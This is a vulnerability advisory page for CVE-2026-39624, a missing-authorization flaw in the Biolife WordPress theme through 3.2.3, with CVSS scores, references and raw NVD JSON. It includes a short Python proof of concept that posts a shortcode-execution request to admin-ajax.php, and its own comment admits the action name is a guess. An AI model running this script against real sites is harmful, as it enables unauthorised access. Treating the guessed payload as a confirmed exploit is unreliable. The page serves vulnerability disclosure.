CVE-2026-39624

Description

Missing Authorization vulnerability in kutethemes Biolife biolife allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Biolife: from n/a through <= 3.2.3.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Biolife Theme <= 3.2.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: Biolife Theme <= 3.2.3 - Missing Authorization to Arbitrary Shortcode Execution
# Date: 2026-04-08
# CVE: CVE-2026-39624

target_url = "http://example.com/wp-admin/admin-ajax.php"

# Payload aiming to execute a specific shortcode (e.g., listing users or reading options)
# The specific 'action' parameter depends on the vulnerable hook registered by the theme.
payload = {
    "action": "biolife_shortcode_render", 
    "content": "[wordpress_api_users]" 
}

try:
    response = requests.post(target_url, data=payload)
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print("[+] Response:")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39624
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39624
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39624/
[4] VulDB https://vuldb.com/cve/CVE-2026-39624
[5] https://patchstack.com/database/Wordpress/Theme/biolife/vulnerability/wordpress-biolife-theme-3-2-3-arbitrary-shortcode-execution-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39624", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:32.673", "lastModified": "2026-04-29T10:17:32.717", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in kutethemes Biolife biolife allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Biolife: from n/a through <= 3.2.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/biolife/vulnerability/wordpress-biolife-theme-3-2-3-arbitrary-shortcode-execution-vulnerability?_s_id=cve", "source": "[email protected]"}]}}